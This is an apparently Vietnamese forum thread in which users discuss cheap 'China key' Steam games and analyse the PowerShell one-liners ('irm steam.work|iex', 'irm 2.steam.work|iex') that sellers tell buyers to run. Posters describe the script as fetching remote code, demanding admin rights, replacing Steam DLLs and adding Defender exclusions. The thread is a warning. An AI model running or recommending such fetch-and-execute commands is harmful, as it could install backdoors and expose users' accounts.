thắc mắc Key Steam Game China

leejaewoon đã nói:

Bác phải hiểu thế này nhé.
B1: Câu lệnh irm (Invoke-RestMethod) để tải từ link steam-run.com/steam.work một đoạn code.
B2: Câu lệnh iex (Invoke-Expression) để thực thi một đoạn code, mà ở đây là đoạn code tải về từ B1.
B3: Đoạn code bắt đầu thực thi:

• Kiểm tra và đòi quyền Administrator. Nếu chưa có thì hiện bảng, nếu ông nào tắt UAC thì auto có quyền Administrator.
• Tải các file trong cái repo mình gửi ở trên. Trong đó có một file tên là "legit", một file VDF và 2 file DLL (file thư viện của Windows).
• Các file này ghi đè lên file gốc của steam, mình đoán là pháp sư reverse engineering server Steam và fake ý hệt hoạt động như server Steam thật. Sau đó trỏ Client của người dùng về server của pháp sư, check license trên server của pháp sư nhưng khi download sẽ download trên CDN của Steam. Vậy nên app Steam sau khi chỉnh sửa sẽ báo legit. Tất nhiên là pháp sư rất giỏi pass được các check của Steam.
• Nhưng cũng vì giỏi thế và code, file encrypt hết nên trời với đất biết bọn nó cài gì vào máy các bác vì một khi có quyền Administrator thì nó thả một con, backdoor, wannacry hay botnet... Thì tùy hứng chủ nhân á. Thêm nữa cái repositories nó tạo 3 ngày trước nữa nên càng red flag. Và cái đoạn Script cũng có dòng thêm các file DLL kia vào exception của Windows Defender, khiến diệt virus của bác không quét các file DLL đấy.

Mình hỏi thử ChatGPT phân tích qua cho các bác xem file script có thể đọc được trong repo đó: https://chatgpt.com/s/t_685be66e5fe48191a3d11733444195cc

Vấn đề là tại sao bên thì dùng file setup, bên dùng script. Theo mình thì dùng script sẽ cảm thấy an tâm hơn với người dùng vì Steam tay người ta tải ở trang gốc về mà, phải an toàn hơn lấy file cài từ nơi khác chứ. Còn file setup sẽ cảm thấy lo lắng hơn. Nhưng nguy hiểm thì như nhau vì thằng nào cũng đòi quyền Administrator cả. Họ thích phá hoại lúc nào thì lúc đấy mới hoạt động cơ.

// Trên đây là 5 xu ý kiến của mình lúc ngồi chờ đón con học của mình.

Nhấp để mở rộng...

noobmaster0206 đã nói:

Được mở mang tầm mắt đấy bác. Nhưng có cách nào loại bỏ con virus ko nhỉ? Xoá steam rồi cài lại không biết có hết ko bác. Hiện tại thì em đang tận hưởng nốt con game thôi tại trong máy cũng không có tài sản gì quan trọng

Nhấp để mở rộng...

noobmaster0206 đã nói:

Tình hình giờ sao rồi bác? Em cũng mới mua con spideman2 từ shop này tự nhiên đọc dc cái thread này cũng khá lo. Tk steam em cũng mua khá nhiều game. Bác tìm hiểu làm cách nào để loại bỏ virus ko?

Nhấp để mở rộng...

Reiji đã nói:

Mấy cái key nó bảo chỉ cần add vào steam là có game chứ k phải chạy lệnh thì cơ chế là gì các bác nhỉ

Nhấp để mở rộng...

ncn1992vn đã nói:

Key từ nhiều nguồn, bundle, dev gửi, nph marketing, săn sale giá rẻ...

Nhấp để mở rộng...

Reiji đã nói:

Thấy trên tiktok nó bảo cái key 32000 game add vào là chơi đc luôn thì t nghĩ key đó kiểu khác

Nhấp để mở rộng...

Reiji đã nói:

Thấy trên tiktok nó bảo cái key 32000 game add vào là chơi đc luôn thì t nghĩ key đó kiểu khác

Nhấp để mở rộng...

ncn1992vn đã nói:

Có thật đấy, mua đi, nó giống như cầm tờ 50k mua được 100 tờ 500k vậy.

Nhấp để mở rộng...

• Thêm Steam vào danh sách loại trừ của Windows Defender
• Thay thế hoặc chèn file DLL vào thư mục Steam
• Xóa hoặc ghi đè các file cấu hình Steam
• Kết nối Steam tới server giả mạo
• Ẩn dấu vết bằng cách xóa file script sau khi chạy

duynguyen852 đã nói:

mình là một người đã mua và chơi thử game key cn,mua ở việt nam lần đầu,lần 2 thì mua taobao cả 2 game mình đều kích trên 1 tài khoản steam,hiện tại đến giờ thì chưa thấy steam ban hay gì,bản tính mình thì tò mò thích coi thử họ bán thứ gì trong đó,mình xin review lại qua 2 lần mình mua
-lần đầu mình mua thông qua mikeyshop game steeler blade giá 320k họ kêu mình cài untraview và kích một cái steam.exe gì đó trên mấy cửa sỗ cmd nhảy ra rồi chưa kia đọc trong đó có gì thì họ tắt untralview đi tắt luôn cái cmd họ đưa mình cái code nhập vào thì đúng là ra game và chơi thì bình thường đến bây giờ chắc tầm 1 tháng hơn chưa thấy bị gì nhưng sẽ có tình trạng chung là game sẽ không hiện trông thư viện nếu mình đổi mấy khác
-lần 2 mua trên sàng taobao họ đưa mình một cái irm 2.steam.work|iex nhập vào power shell sao đó hiện ra 1 cái hình steam set up là hoàn tất rồi nó tự load steam lên cho mình nhập code người bán và game hiện ra trước khi chạy thử dòng lên trên có nhờ ai chép ra 1 bản note gửi lên đây cho anh em nào biết thì tham khảo và chia sẽ cho mọi người,theo AI nhận định thì nó

• Thêm Steam vào danh sách loại trừ của Windows Defender
• Thay thế hoặc chèn file DLL vào thư mục Steam
• Xóa hoặc ghi đè các file cấu hình Steam
• Kết nối Steam tới server giả mạo
• Ẩn dấu vết bằng cách xóa file script sau khi chạy

mình thấy nó là kiểu game crack kiểu bạn bỏ phí ra để có thể add vào steam có thể làm thành tựu game có cloudsave trên server riêng bên trung,2 game mình mua 2 người khác nhau kích trên 2 máy khác nhau cùng 1 tài khoản nhưng mỗi máy chỉ hiện game trên máy đã kích game,nếu các bạn muốn thử liều như mình( không khuyến khích) thì hãy mua game thử trên taobao đừng mua ở việt nam vì việt nam bán cũng là sang tay bán mắc hơn và mỗi lần bạn muốn kích lại game phải liên lạc với họ phải chờ họ còn cài qua ultraview nữa đôi khi còn đáng sợ hơn bên trung,không thì chơi crack ở các wed game lậu lớn cũng được,nói chung mọi người vẫn nên mua bản quyền là tốt nhất,mình chơi game trên steam cũng lâu rồi từ hồi còn đi du học sang nước khác mua game,bi lấy mất tiền trong ví steam vì đăng nhập chổ lạ dẫn đến bị lấy cookie, ban vì chuyển vùng 2 lần nhưng cứ viết support là được thả

Nhấp để mở rộng...

han_doi_it_doi đã nói:

Kết luận là denuvo khó quá thì pháp sư crack luôn steam à
Cơ mà các ông chơi game, win, office crack thì ko sợ, sợ gì nữa nhỉ.

Nhấp để mở rộng...

aimond đã nói:

mấy cái crack kia ko mất phí và đã dùng đồ gì miễn phí thì người ta thường chấp nhận rủi ro ... còn cái kia thì đã mất phí còn đc bouns tỷ lệ ăn virus tùy hứng thằng bán , chưa kể là nó cài theo máy chứ ko phải theo acc tức là qua máy khác thì mua lại mới có game mà chơi nhé

Nhấp để mở rộng...

aimond đã nói:

mấy cái crack kia ko mất phí và đã dùng đồ gì miễn phí thì người ta thường chấp nhận rủi ro ... còn cái kia thì đã mất phí còn đc bouns tỷ lệ ăn virus tùy hứng thằng bán , chưa kể là nó cài theo máy chứ ko phải theo acc tức là qua máy khác thì mua lại mới có game mà chơi nhé

Nhấp để mở rộng...

soap000 đã nói:

Hix, giá như mình đọc mấy bài này sớm hơn. Hồi hôm mình có mua 1 key AC Shadows Deluxe 575k. Shop cũng báo là key CN luôn, thì mình có hỏi là có cần cài Steam tool hay gì đó không, thì bên nhân viên khẳng định chắc nịch là không cần. Đến khi chuyển khoản xong rồi thì nó gửi tin nhắn hướng dẫn nhập mã lệnh "irm steam.work|iex" trong Powershell, mình thì không phải IT hay tech-savvy gì nhưng động tới CMD hay Powershell thì cực kỳ nhạy cảm và mình lên google xem trước thì trên chỉ có một số article rất ít trong đó có 1 bài năm 2024 cũng đã có người trên voz từng bị dính, ngoài Reddit, Steam community ra thì còn các bài post ở bilibiliTV Trung Quốc cũng nói về vấn đề này.

Sau khi đính chính là nó có download và chỉnh sửa trực tiếp trên file Steam và hết cả root của Steam thì mới yêu cầu nó đổi cho mình Steam wallet hoặc bằng 1 game gift nào khác giá trị tương đương, thậm chí trừ tiền bớt đi cũng được chứ không cần chính xác 575k mà mình ck. Cũng vì key mình chưa active, nó cũng chưa đưa key cho mình chỉ mới gửi bài hướng dẫn và mình từ chối ngay lúc đó luôn. Nhưng thanh niên cứ vòng vo tới giờ, nhiều khi nghỉ thôi xác định bay số tiền này rồi hên là không inject bất kỳ thứ gì vô máy.

Sau đó mình có tìm hiểu thì không chỉ shop này mà còn rất nhiều shop khác mọc lên như nấm, và có rất nhiều người mua ref uy tín. Và key này cũng bán tràn lan trên taobao luôn, bọn này cơ bản chỉ mua trên Taobao rồi bán lại.

Đây là bài post trên bilibili

https://www.bilibili.com/opus/912188403001327621

Nhấp để mở rộng...

duynguyen852 đã nói:

nó cài theo acc đúng hơn là kiểu nó lừa steam là không có game thành có game,là bạn mua game bản quyền nó sẽ có cái check là bạn đã sở hữa game và cho phép bạn tải và chơi lưu tiến trình chơi,còn cái này là nó đánh lừa steam là bạn có game nhưng sẽ không tải từ server của steam mà sẽ tải từ server riêng bên trung,tại sao phải kích lại mỗi lần đổi máy vì nó đây đổi file trông steam cho phép bạn truy câp vào server riêng bên trung,giống bản quyền hơn game crack ở chổ có lưu tiến trình trên cloud,thành tựu game,hiện trông thư viên nhưng chung quy nó vẫn là kiểu crack có phí vậy và đúng là tùy hứng người bán có nhét virut vào game bạn chơi không ,file game tải về bạn có thể kiểm tra bằng các phần mền quét virut như mình đã test vài phần thông dụng thì không thấy gì cả,thường game crack quét là sẽ thấy nhưng cái này thì không có cũng có thể nó là game bản quyền các pháp sư mua về 1 up lên server riêng cài đặt tùy chỉnh để có thể bán cho người mua giá rẻ hơn rất nhiều so với game gốc giá chắc tầm 5% đổ lại

Nhấp để mở rộng...